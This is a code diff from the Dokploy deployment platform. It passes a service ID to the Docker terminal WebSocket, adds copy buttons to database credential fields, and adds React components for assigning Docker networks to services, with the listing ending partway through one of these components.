const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}`;
|
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`;
|
||||||
|
|
||||||
const ws = new WebSocket(wsUrl);
|
const ws = new WebSocket(wsUrl);
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
|
||||||
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
|
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
|
||||||
|
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
||||||
import { useState } from "react";
|
import { useState } from "react";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
import { DialogAction } from "@/components/shared/dialog-action";
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
@@ -229,6 +229,7 @@ export const ShowGeneralLibsql = ({ libsqlId }: Props) => {
|
|||||||
)}
|
)}
|
||||||
<DockerTerminalModal
|
<DockerTerminalModal
|
||||||
appName={data?.appName || ""}
|
appName={data?.appName || ""}
|
||||||
|
serviceId={data?.libsqlId}
|
||||||
serverId={data?.serverId || ""}
|
serverId={data?.serverId || ""}
|
||||||
>
|
>
|
||||||
<Button
|
<Button
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ export const ShowInternalLibsqlCredentials = ({ libsqlId }: Props) => {
|
|||||||
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
|
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>User</Label>
|
<Label>User</Label>
|
||||||
<Input disabled value={data?.databaseUser} />
|
<Input enableCopyButton disabled value={data?.databaseUser} />
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>Sqld Node</Label>
|
<Label>Sqld Node</Label>
|
||||||
@@ -71,7 +71,7 @@ export const ShowInternalLibsqlCredentials = ({ libsqlId }: Props) => {
|
|||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>Internal Host</Label>
|
<Label>Internal Host</Label>
|
||||||
<Input disabled value={data?.appName} />
|
<Input enableCopyButton disabled value={data?.appName} />
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>Enable Namespaces</Label>
|
<Label>Enable Namespaces</Label>
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
|
||||||
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
|
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
|
||||||
|
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
||||||
import { useState } from "react";
|
import { useState } from "react";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
import { DialogAction } from "@/components/shared/dialog-action";
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
@@ -236,6 +236,7 @@ export const ShowGeneralMariadb = ({ mariadbId }: Props) => {
|
|||||||
))}
|
))}
|
||||||
<DockerTerminalModal
|
<DockerTerminalModal
|
||||||
appName={data?.appName || ""}
|
appName={data?.appName || ""}
|
||||||
|
serviceId={data?.mariadbId}
|
||||||
serverId={data?.serverId || ""}
|
serverId={data?.serverId || ""}
|
||||||
>
|
>
|
||||||
<Button
|
<Button
|
||||||
|
|||||||
@@ -25,11 +25,11 @@ export const ShowInternalMariadbCredentials = ({ mariadbId }: Props) => {
|
|||||||
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
|
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>User</Label>
|
<Label>User</Label>
|
||||||
<Input disabled value={data?.databaseUser} />
|
<Input enableCopyButton disabled value={data?.databaseUser} />
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>Database Name</Label>
|
<Label>Database Name</Label>
|
||||||
<Input disabled value={data?.databaseName} />
|
<Input enableCopyButton disabled value={data?.databaseName} />
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>Password</Label>
|
<Label>Password</Label>
|
||||||
@@ -79,7 +79,7 @@ export const ShowInternalMariadbCredentials = ({ mariadbId }: Props) => {
|
|||||||
|
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>Internal Host</Label>
|
<Label>Internal Host</Label>
|
||||||
<Input disabled value={data?.appName} />
|
<Input enableCopyButton disabled value={data?.appName} />
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="flex flex-col gap-2 md:col-span-2">
|
<div className="flex flex-col gap-2 md:col-span-2">
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
|
||||||
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
|
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
|
||||||
|
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
||||||
import { useState } from "react";
|
import { useState } from "react";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
import { DialogAction } from "@/components/shared/dialog-action";
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
@@ -230,6 +230,7 @@ export const ShowGeneralMongo = ({ mongoId }: Props) => {
|
|||||||
</TooltipProvider>
|
</TooltipProvider>
|
||||||
<DockerTerminalModal
|
<DockerTerminalModal
|
||||||
appName={data?.appName || ""}
|
appName={data?.appName || ""}
|
||||||
|
serviceId={data?.mongoId}
|
||||||
serverId={data?.serverId || ""}
|
serverId={data?.serverId || ""}
|
||||||
>
|
>
|
||||||
<Button
|
<Button
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ export const ShowInternalMongoCredentials = ({ mongoId }: Props) => {
|
|||||||
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
|
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>User</Label>
|
<Label>User</Label>
|
||||||
<Input disabled value={data?.databaseUser} />
|
<Input enableCopyButton disabled value={data?.databaseUser} />
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
@@ -55,7 +55,7 @@ export const ShowInternalMongoCredentials = ({ mongoId }: Props) => {
|
|||||||
|
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>Internal Host</Label>
|
<Label>Internal Host</Label>
|
||||||
<Input disabled value={data?.appName} />
|
<Input enableCopyButton disabled value={data?.appName} />
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="flex flex-col gap-2 md:col-span-2">
|
<div className="flex flex-col gap-2 md:col-span-2">
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
|
||||||
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
|
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
|
||||||
|
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
||||||
import { useState } from "react";
|
import { useState } from "react";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
import { DialogAction } from "@/components/shared/dialog-action";
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
@@ -228,6 +228,7 @@ export const ShowGeneralMysql = ({ mysqlId }: Props) => {
|
|||||||
</TooltipProvider>
|
</TooltipProvider>
|
||||||
<DockerTerminalModal
|
<DockerTerminalModal
|
||||||
appName={data?.appName || ""}
|
appName={data?.appName || ""}
|
||||||
|
serviceId={data?.mysqlId}
|
||||||
serverId={data?.serverId || ""}
|
serverId={data?.serverId || ""}
|
||||||
>
|
>
|
||||||
<Button
|
<Button
|
||||||
|
|||||||
@@ -25,11 +25,11 @@ export const ShowInternalMysqlCredentials = ({ mysqlId }: Props) => {
|
|||||||
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
|
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>User</Label>
|
<Label>User</Label>
|
||||||
<Input disabled value={data?.databaseUser} />
|
<Input enableCopyButton disabled value={data?.databaseUser} />
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>Database Name</Label>
|
<Label>Database Name</Label>
|
||||||
<Input disabled value={data?.databaseName} />
|
<Input enableCopyButton disabled value={data?.databaseName} />
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>Password</Label>
|
<Label>Password</Label>
|
||||||
@@ -79,7 +79,7 @@ export const ShowInternalMysqlCredentials = ({ mysqlId }: Props) => {
|
|||||||
|
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>Internal Host</Label>
|
<Label>Internal Host</Label>
|
||||||
<Input disabled value={data?.appName} />
|
<Input enableCopyButton disabled value={data?.appName} />
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="flex flex-col gap-2 md:col-span-2">
|
<div className="flex flex-col gap-2 md:col-span-2">
|
||||||
|
|||||||
@@ -0,0 +1,347 @@
|
|||||||
|
import { zodResolver } from "@hookform/resolvers/zod";
|
||||||
|
import { Check, ChevronsUpDown, Loader2, RefreshCw } from "lucide-react";
|
||||||
|
import { useEffect, useState } from "react";
|
||||||
|
import { useFieldArray, useForm } from "react-hook-form";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { z } from "zod";
|
||||||
|
import { AlertBlock } from "@/components/shared/alert-block";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Card,
|
||||||
|
CardContent,
|
||||||
|
CardDescription,
|
||||||
|
CardHeader,
|
||||||
|
CardTitle,
|
||||||
|
} from "@/components/ui/card";
|
||||||
|
import { Checkbox } from "@/components/ui/checkbox";
|
||||||
|
import {
|
||||||
|
Command,
|
||||||
|
CommandGroup,
|
||||||
|
CommandInput,
|
||||||
|
CommandItem,
|
||||||
|
CommandList,
|
||||||
|
} from "@/components/ui/command";
|
||||||
|
import { Form, FormControl, FormField, FormItem } from "@/components/ui/form";
|
||||||
|
import {
|
||||||
|
Popover,
|
||||||
|
PopoverContent,
|
||||||
|
PopoverTrigger,
|
||||||
|
} from "@/components/ui/popover";
|
||||||
|
import { Switch } from "@/components/ui/switch";
|
||||||
|
import { cn } from "@/lib/utils";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
composeId: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const serviceSchema = z.object({
|
||||||
|
serviceName: z.string(),
|
||||||
|
networkIds: z.array(z.string()),
|
||||||
|
detachDokployNetwork: z.boolean(),
|
||||||
|
});
|
||||||
|
|
||||||
|
const formSchema = z.object({
|
||||||
|
services: z.array(serviceSchema),
|
||||||
|
});
|
||||||
|
|
||||||
|
type FormValues = z.infer<typeof formSchema>;
|
||||||
|
|
||||||
|
export const AssignComposeNetworks = ({ composeId }: Props) => {
|
||||||
|
const [cacheType, setCacheType] = useState<"cache" | "fetch">("cache");
|
||||||
|
|
||||||
|
const { data: compose } = api.compose.one.useQuery({ composeId });
|
||||||
|
const {
|
||||||
|
data: services,
|
||||||
|
isLoading: isLoadingServices,
|
||||||
|
error: servicesError,
|
||||||
|
refetch: refetchServices,
|
||||||
|
isRefetching: isRefetchingServices,
|
||||||
|
} = api.compose.loadServices.useQuery(
|
||||||
|
{ composeId, type: cacheType },
|
||||||
|
{ retry: false },
|
||||||
|
);
|
||||||
|
|
||||||
|
const onRetry = () => {
|
||||||
|
setCacheType("fetch");
|
||||||
|
setTimeout(() => refetchServices(), 0);
|
||||||
|
};
|
||||||
|
|
||||||
|
const { data: networks } = api.network.all.useQuery(
|
||||||
|
{ serverId: compose?.serverId ?? undefined },
|
||||||
|
{ enabled: compose !== undefined },
|
||||||
|
);
|
||||||
|
const { mutateAsync, isPending } = api.compose.update.useMutation();
|
||||||
|
const utils = api.useUtils();
|
||||||
|
|
||||||
|
const form = useForm<FormValues>({
|
||||||
|
resolver: zodResolver(formSchema),
|
||||||
|
defaultValues: { services: [] },
|
||||||
|
});
|
||||||
|
const { fields } = useFieldArray({
|
||||||
|
control: form.control,
|
||||||
|
name: "services",
|
||||||
|
});
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!services) return;
|
||||||
|
const serviceNetworks = compose?.serviceNetworks ?? [];
|
||||||
|
form.reset({
|
||||||
|
services: services.map((serviceName) => {
|
||||||
|
const config = serviceNetworks.find(
|
||||||
|
(s) => s.serviceName === serviceName,
|
||||||
|
);
|
||||||
|
return {
|
||||||
|
serviceName,
|
||||||
|
networkIds: config?.networkIds ?? [],
|
||||||
|
detachDokployNetwork: config?.detachDokployNetwork ?? false,
|
||||||
|
};
|
||||||
|
}),
|
||||||
|
});
|
||||||
|
}, [services, compose?.serviceNetworks, form]);
|
||||||
|
|
||||||
|
const allowsBridge = compose?.composeType === "docker-compose";
|
||||||
|
const availableNetworks = (networks ?? []).filter(
|
||||||
|
(n) => allowsBridge || n.driver === "overlay",
|
||||||
|
);
|
||||||
|
|
||||||
|
const onSubmit = async (values: FormValues) => {
|
||||||
|
try {
|
||||||
|
const serviceNetworks = values.services.filter(
|
||||||
|
(s) => s.networkIds.length > 0 || s.detachDokployNetwork,
|
||||||
|
);
|
||||||
|
await mutateAsync({
|
||||||
|
composeId,
|
||||||
|
serviceNetworks,
|
||||||
|
});
|
||||||
|
toast.success("Networks updated. Redeploy the compose to apply them.");
|
||||||
|
await utils.compose.one.invalidate({ composeId });
|
||||||
|
} catch (error) {
|
||||||
|
toast.error("Error updating networks", {
|
||||||
|
description: error instanceof Error ? error.message : "Unknown error",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Card className="bg-background">
|
||||||
|
<CardHeader className="flex flex-row items-start justify-between flex-wrap gap-2">
|
||||||
|
<div className="flex flex-col gap-1">
|
||||||
|
<CardTitle className="text-xl">Networks</CardTitle>
|
||||||
|
<CardDescription>
|
||||||
|
Attach Docker networks per service and detach it from
|
||||||
|
dokploy-network. Takes effect on the next deploy.
|
||||||
|
</CardDescription>
|
||||||
|
</div>
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
isLoading={isRefetchingServices}
|
||||||
|
onClick={onRetry}
|
||||||
|
>
|
||||||
|
<RefreshCw className="size-4" />
|
||||||
|
Refresh
|
||||||
|
</Button>
|
||||||
|
</CardHeader>
|
||||||
|
<CardContent className="flex flex-col gap-4">
|
||||||
|
{servicesError ? (
|
||||||
|
<div className="flex flex-col gap-3">
|
||||||
|
<AlertBlock type="error">
|
||||||
|
Could not load the compose services. If this compose was just
|
||||||
|
created from a template, it hasn't been cloned yet — click Reload
|
||||||
|
to clone the repository and read its services.
|
||||||
|
</AlertBlock>
|
||||||
|
<div className="flex justify-end">
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
isLoading={isRefetchingServices}
|
||||||
|
onClick={onRetry}
|
||||||
|
>
|
||||||
|
<RefreshCw className="size-4" />
|
||||||
|
Reload services
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
) : isLoadingServices ? (
|
||||||
|
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
|
||||||
|
<span>Loading services...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
) : !services?.length ? (
|
||||||
|
<span className="py-6 text-center text-sm text-muted-foreground">
|
||||||
|
No services found in this compose.
|
||||||
|
</span>
|
||||||
|
) : (
|
||||||
|
<Form {...form}>
|
||||||
|
<form
|
||||||
|
onSubmit={form.handleSubmit(onSubmit)}
|
||||||
|
className="flex flex-col gap-4"
|
||||||
|
>
|
||||||
|
{fields.map((fieldItem, index) => (
|
||||||
|
<ServiceRow
|
||||||
|
key={fieldItem.id}
|
||||||
|
control={form.control}
|
||||||
|
index={index}
|
||||||
|
service={fieldItem.serviceName}
|
||||||
|
availableNetworks={availableNetworks}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
<div className="flex justify-end">
|
||||||
|
<Button
|
||||||
|
type="submit"
|
||||||
|
disabled={!form.formState.isDirty}
|
||||||
|
isLoading={isPending}
|
||||||
|
>
|
||||||
|
Save
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</Form>
|
||||||
|
)}
|
||||||
|
</CardContent>
|
||||||
|
</Card>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
type NetworkOption = { networkId: string; name: string; driver: string };
|
||||||
|
|
||||||
|
const ServiceRow = ({
|
||||||
|
control,
|
||||||
|
index,
|
||||||
|
service,
|
||||||
|
availableNetworks,
|
||||||
|
}: {
|
||||||
|
control: ReturnType<typeof useForm<FormValues>>["control"];
|
||||||
|
index: number;
|
||||||
|
service: string;
|
||||||
|
availableNetworks: NetworkOption[];
|
||||||
|
}) => {
|
||||||
|
const [open, setOpen] = useState(false);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="flex flex-col gap-3 rounded-lg border p-4">
|
||||||
|
<FormField
|
||||||
|
control={control}
|
||||||
|
name={`services.${index}.detachDokployNetwork`}
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="flex flex-row items-center justify-between gap-3 space-y-0">
|
||||||
|
<span className="text-sm font-medium">{service}</span>
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<span className="text-xs text-muted-foreground">
|
||||||
|
Detach dokploy-network
|
||||||
|
</span>
|
||||||
|
<FormControl>
|
||||||
|
<Switch
|
||||||
|
checked={field.value}
|
||||||
|
onCheckedChange={field.onChange}
|
||||||
|
/>
|
||||||
|
</FormControl>
|
||||||
|
</div>
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
|
||||||
|
<FormField
|
||||||
|
control={control}
|
||||||
|
name={`services.${index}.networkIds`}
|
||||||
|
render={({ field }) => {
|
||||||
|
const selectedNetworks = availableNetworks.filter((n) =>
|
||||||
|
field.value.includes(n.networkId),
|
||||||
|
);
|
||||||
|
const toggle = (networkId: string) => {
|
||||||
|
field.onChange(
|
||||||
|
field.value.includes(networkId)
|
||||||
|
? field.value.filter((id) => id !== networkId)
|
||||||
|
: [...field.value, networkId],
|
||||||
|
);
|
||||||
|
};
|
||||||
|
return (
|
||||||
|
<FormItem className="space-y-3">
|
||||||
|
<Popover open={open} onOpenChange={setOpen}>
|
||||||
|
<PopoverTrigger asChild>
|
||||||
|
<Button
|
||||||
|
type="button"
|
||||||
|
variant="outline"
|
||||||
|
aria-expanded={open}
|
||||||
|
className="w-full justify-between"
|
||||||
|
>
|
||||||
|
<span className="text-muted-foreground">
|
||||||
|
{selectedNetworks.length > 0
|
||||||
|
? `${selectedNetworks.length} network${
|
||||||
|
selectedNetworks.length > 1 ? "s" : ""
|
||||||
|
} selected`
|
||||||
|
: "Select networks..."}
|
||||||
|
</span>
|
||||||
|
<ChevronsUpDown className="ml-2 size-4 shrink-0 opacity-50" />
|
||||||
|
</Button>
|
||||||
|
</PopoverTrigger>
|
||||||
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
|
<Command>
|
||||||
|
<CommandInput
|
||||||
|
placeholder="Search networks..."
|
||||||
|
className="h-9"
|
||||||
|
/>
|
||||||
|
<CommandList className="max-h-60">
|
||||||
|
{availableNetworks.length === 0 ? (
|
||||||
|
<div className="py-6 text-center text-sm text-muted-foreground">
|
||||||
|
No networks available on this server.
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<CommandGroup>
|
||||||
|
{availableNetworks.map((n) => {
|
||||||
|
const isSelected = field.value.includes(
|
||||||
|
n.networkId,
|
||||||
|
);
|
||||||
|
return (
|
||||||
|
<CommandItem
|
||||||
|
key={n.networkId}
|
||||||
|
value={n.name}
|
||||||
|
onSelect={() => toggle(n.networkId)}
|
||||||
|
className="cursor-pointer"
|
||||||
|
>
|
||||||
|
<Checkbox
|
||||||
|
checked={isSelected}
|
||||||
|
className="mr-2"
|
||||||
|
onCheckedChange={() => toggle(n.networkId)}
|
||||||
|
/>
|
||||||
|
<span>{n.name}</span>
|
||||||
|
<Badge variant="outline" className="ml-2">
|
||||||
|
{n.driver}
|
||||||
|
</Badge>
|
||||||
|
<Check
|
||||||
|
className={cn(
|
||||||
|
"ml-auto size-4",
|
||||||
|
isSelected ? "opacity-100" : "opacity-0",
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</CommandItem>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</CommandGroup>
|
||||||
|
)}
|
||||||
|
</CommandList>
|
||||||
|
</Command>
|
||||||
|
</PopoverContent>
|
||||||
|
</Popover>
|
||||||
|
|
||||||
|
{selectedNetworks.length > 0 && (
|
||||||
|
<div className="flex flex-wrap gap-1.5">
|
||||||
|
{selectedNetworks.map((n) => (
|
||||||
|
<Badge key={n.networkId} variant="secondary">
|
||||||
|
{n.name}
|
||||||
|
</Badge>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</FormItem>
|
||||||
|
);
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
355
apps/dokploy/components/dashboard/networks/assign-networks.tsx
Normal file
355
apps/dokploy/components/dashboard/networks/assign-networks.tsx
Normal file
@@ -0,0 +1,355 @@
|
|||||||
|
import { Check, ChevronsUpDown, X } from "lucide-react";
|
||||||
|
import { useEffect, useState } from "react";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { AlertBlock } from "@/components/shared/alert-block";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Card,
|
||||||
|
CardContent,
|
||||||
|
CardDescription,
|
||||||
|
CardHeader,
|
||||||
|
CardTitle,
|
||||||
|
} from "@/components/ui/card";
|
||||||
|
import { Checkbox } from "@/components/ui/checkbox";
|
||||||
|
import {
|
||||||
|
Command,
|
||||||
|
CommandEmpty,
|
||||||
|
CommandGroup,
|
||||||
|
CommandInput,
|
||||||
|
CommandItem,
|
||||||
|
CommandList,
|
||||||
|
} from "@/components/ui/command";
|
||||||
|
import {
|
||||||
|
Popover,
|
||||||
|
PopoverContent,
|
||||||
|
PopoverTrigger,
|
||||||
|
} from "@/components/ui/popover";
|
||||||
|
import { Switch } from "@/components/ui/switch";
|
||||||
|
import { cn } from "@/lib/utils";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
type ServiceType =
|
||||||
|
| "application"
|
||||||
|
| "postgres"
|
||||||
|
| "mysql"
|
||||||
|
| "mariadb"
|
||||||
|
| "mongo"
|
||||||
|
| "redis"
|
||||||
|
| "libsql";
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
id: string;
|
||||||
|
type: ServiceType;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const AssignNetworks = ({ id, type }: Props) => {
|
||||||
|
const [open, setOpen] = useState(false);
|
||||||
|
const [selected, setSelected] = useState<string[]>([]);
|
||||||
|
const [detached, setDetached] = useState(false);
|
||||||
|
|
||||||
|
const {
|
||||||
|
service,
|
||||||
|
serverId,
|
||||||
|
networkIds,
|
||||||
|
detachDokployNetwork,
|
||||||
|
updateAsync,
|
||||||
|
isUpdating,
|
||||||
|
refetch,
|
||||||
|
} = useServiceNetworks(id, type);
|
||||||
|
|
||||||
|
const { data: networks } = api.network.all.useQuery(
|
||||||
|
{ serverId: serverId ?? undefined },
|
||||||
|
{ enabled: service !== undefined },
|
||||||
|
);
|
||||||
|
|
||||||
|
const { data: applicationDomains } = api.domain.byApplicationId.useQuery(
|
||||||
|
{ applicationId: id },
|
||||||
|
{ enabled: type === "application" },
|
||||||
|
);
|
||||||
|
const hasDomains = (applicationDomains?.length ?? 0) > 0;
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
setSelected(networkIds ?? []);
|
||||||
|
setDetached(detachDokployNetwork ?? false);
|
||||||
|
}, [networkIds, detachDokployNetwork]);
|
||||||
|
|
||||||
|
const availableNetworks = (networks ?? []).filter(
|
||||||
|
(n) => n.driver === "overlay",
|
||||||
|
);
|
||||||
|
const selectedNetworks = availableNetworks.filter((n) =>
|
||||||
|
selected.includes(n.networkId),
|
||||||
|
);
|
||||||
|
const isDirty =
|
||||||
|
selected.length !== (networkIds?.length ?? 0) ||
|
||||||
|
selected.some((networkId) => !networkIds?.includes(networkId)) ||
|
||||||
|
detached !== detachDokployNetwork;
|
||||||
|
|
||||||
|
const toggle = (networkId: string) => {
|
||||||
|
setSelected((prev) =>
|
||||||
|
prev.includes(networkId)
|
||||||
|
? prev.filter((id) => id !== networkId)
|
||||||
|
: [...prev, networkId],
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const onSave = async () => {
|
||||||
|
try {
|
||||||
|
await updateAsync({
|
||||||
|
networkIds: selected,
|
||||||
|
detachDokployNetwork: detached,
|
||||||
|
});
|
||||||
|
toast.success("Networks updated. Redeploy the service to apply them.");
|
||||||
|
await refetch();
|
||||||
|
} catch (error) {
|
||||||
|
toast.error("Error updating networks", {
|
||||||
|
description: error instanceof Error ? error.message : "Unknown error",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Card className="bg-background">
|
||||||
|
<CardHeader className="flex flex-row items-center justify-between flex-wrap gap-2">
|
||||||
|
<div className="flex flex-col gap-1">
|
||||||
|
<CardTitle className="text-xl">Networks</CardTitle>
|
||||||
|
<CardDescription>
|
||||||
|
Attach additional Docker networks to this service so it can reach
|
||||||
|
services on those networks. Takes effect on the next deploy.
|
||||||
|
</CardDescription>
|
||||||
|
</div>
|
||||||
|
</CardHeader>
|
||||||
|
<CardContent className="flex flex-col gap-4">
|
||||||
|
<div className="flex flex-row items-start justify-between gap-3 rounded-lg border p-4">
|
||||||
|
<div className="space-y-1 pr-1">
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<span className="text-sm font-medium">
|
||||||
|
Detach from dokploy-network
|
||||||
|
</span>
|
||||||
|
<Badge variant="secondary">dokploy-network</Badge>
|
||||||
|
</div>
|
||||||
|
<p className="text-sm text-muted-foreground">
|
||||||
|
By default the service joins the shared dokploy-network. Detach it
|
||||||
|
to keep it reachable only through the networks you attach below.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<Switch checked={detached} onCheckedChange={setDetached} />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{detached && hasDomains && (
|
||||||
|
<AlertBlock type="warning">
|
||||||
|
Warning: this service has domains. Detaching it from dokploy-network
|
||||||
|
will break Traefik routing, and its domains will stop working.
|
||||||
|
</AlertBlock>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{detached && !hasDomains && selected.length === 0 && (
|
||||||
|
<AlertBlock type="warning">
|
||||||
|
This service is detached from dokploy-network but has no other
|
||||||
|
network attached. It would be unreachable, so dokploy-network will
|
||||||
|
be kept until you attach a network below.
|
||||||
|
</AlertBlock>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<Popover open={open} onOpenChange={setOpen}>
|
||||||
|
<PopoverTrigger asChild>
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
aria-expanded={open}
|
||||||
|
className="w-full justify-between"
|
||||||
|
>
|
||||||
|
<span className="text-muted-foreground">
|
||||||
|
{selectedNetworks.length > 0
|
||||||
|
? `${selectedNetworks.length} network${
|
||||||
|
selectedNetworks.length > 1 ? "s" : ""
|
||||||
|
} selected`
|
||||||
|
: "Select networks..."}
|
||||||
|
</span>
|
||||||
|
<ChevronsUpDown className="ml-2 size-4 shrink-0 opacity-50" />
|
||||||
|
</Button>
|
||||||
|
</PopoverTrigger>
|
||||||
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
|
<Command>
|
||||||
|
<CommandInput placeholder="Search networks..." className="h-9" />
|
||||||
|
<CommandList className="max-h-60">
|
||||||
|
{availableNetworks.length === 0 ? (
|
||||||
|
<div className="py-6 text-center text-sm text-muted-foreground">
|
||||||
|
No overlay networks on this server.
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<CommandEmpty className="py-6 text-center text-sm text-muted-foreground">
|
||||||
|
No networks found.
|
||||||
|
